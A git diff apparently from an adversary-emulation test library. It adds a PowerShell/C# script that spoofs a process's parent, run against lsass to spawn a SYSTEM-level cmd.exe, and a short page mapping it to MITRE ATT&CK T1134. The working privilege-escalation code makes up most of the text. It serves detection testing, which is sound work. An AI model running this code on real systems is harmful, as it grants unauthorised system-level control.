diff --git a/Windows/Payloads/GetToken.ps1 b/Windows/Payloads/GetToken.ps1 new file mode 100644 index 00000000..84cc07d0 --- /dev/null +++ b/Windows/Payloads/GetToken.ps1 @@ -0,0 +1,162 @@ +<# + +$owners = @{} +gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} +get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} + +#> + +# Simple powershell/C# to spawn a process under a different Token +# Launch PowerShell As Administrator +# usage: . .\Get- System.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") +# Reference: https://github.com/decoder-it/psgetsystem + +# TODO Make this more PowerShelly + +$code = @" +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; + +public class MyProcess +{ + [DllImport("kernel32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool CreateProcess( + string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, + ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, + IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UpdateProcThreadAttribute( + IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, + IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool InitializeProcThreadAttributeList( + IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hObject); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int nLength; + public IntPtr lpSecurityDescriptor; + public int bInheritHandle; + } + + public static void CreateProcessFromParent(int ppid, string command) + { + const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; + const uint CREATE_NEW_CONSOLE = 0x00000010; + const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; + + + PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); + STARTUPINFOEX si = new STARTUPINFOEX(); + si.StartupInfo.cb = Marshal.SizeOf(si); + IntPtr lpValue = IntPtr.Zero; + + try + { + + IntPtr lpSize = IntPtr.Zero; + InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + si.lpAttributeList = Marshal.AllocHGlobal(lpSize); + InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize); + IntPtr phandle = Process.GetProcessById(ppid).Handle; + lpValue = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteIntPtr(lpValue, phandle); + + UpdateProcThreadAttribute( + si.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + lpValue, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero); + + + SECURITY_ATTRIBUTES pattr = new SECURITY_ATTRIBUTES(); + SECURITY_ATTRIBUTES tattr = new SECURITY_ATTRIBUTES(); + pattr.nLength = Marshal.SizeOf(pattr); + tattr.nLength = Marshal.SizeOf(tattr); + Console.Write("Starting: " + command + "..."); + bool b = CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi); + Console.WriteLine(b); + + } + finally + { + + if (si.lpAttributeList != IntPtr.Zero) + { + DeleteProcThreadAttributeList(si.lpAttributeList); + Marshal.FreeHGlobal(si.lpAttributeList); + } + Marshal.FreeHGlobal(lpValue); + + if (pi.hProcess != IntPtr.Zero) + { + CloseHandle(pi.hProcess); + } + if (pi.hThread != IntPtr.Zero) + { + CloseHandle(pi.hThread); + } + } + } + +} +"@ +Add-Type -TypeDefinition $code diff --git a/Windows/Privilege_Escalation/AccessTokenManipulation.md b/Windows/Privilege_Escalation/AccessTokenManipulation.md new file mode 100644 index 00000000..042bdab4 --- /dev/null +++ b/Windows/Privilege_Escalation/AccessTokenManipulation.md @@ -0,0 +1,22 @@ +## Access Token Manipulation + +MITRE ATT&CK Technique: [T1134](https://attack.mitre.org/wiki/Technique/T1134) + +Powershell / C# Code to use the token from another process + +### Example List All Processes By Owner + +Input: + + $owners = @{} + gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} + get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} + + +## Test: + + . .\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") + + + + [GetToken](https://github.com/redcanaryco/atomic-red-team/tree/master/Windows/Payloads/GetToken.ps1)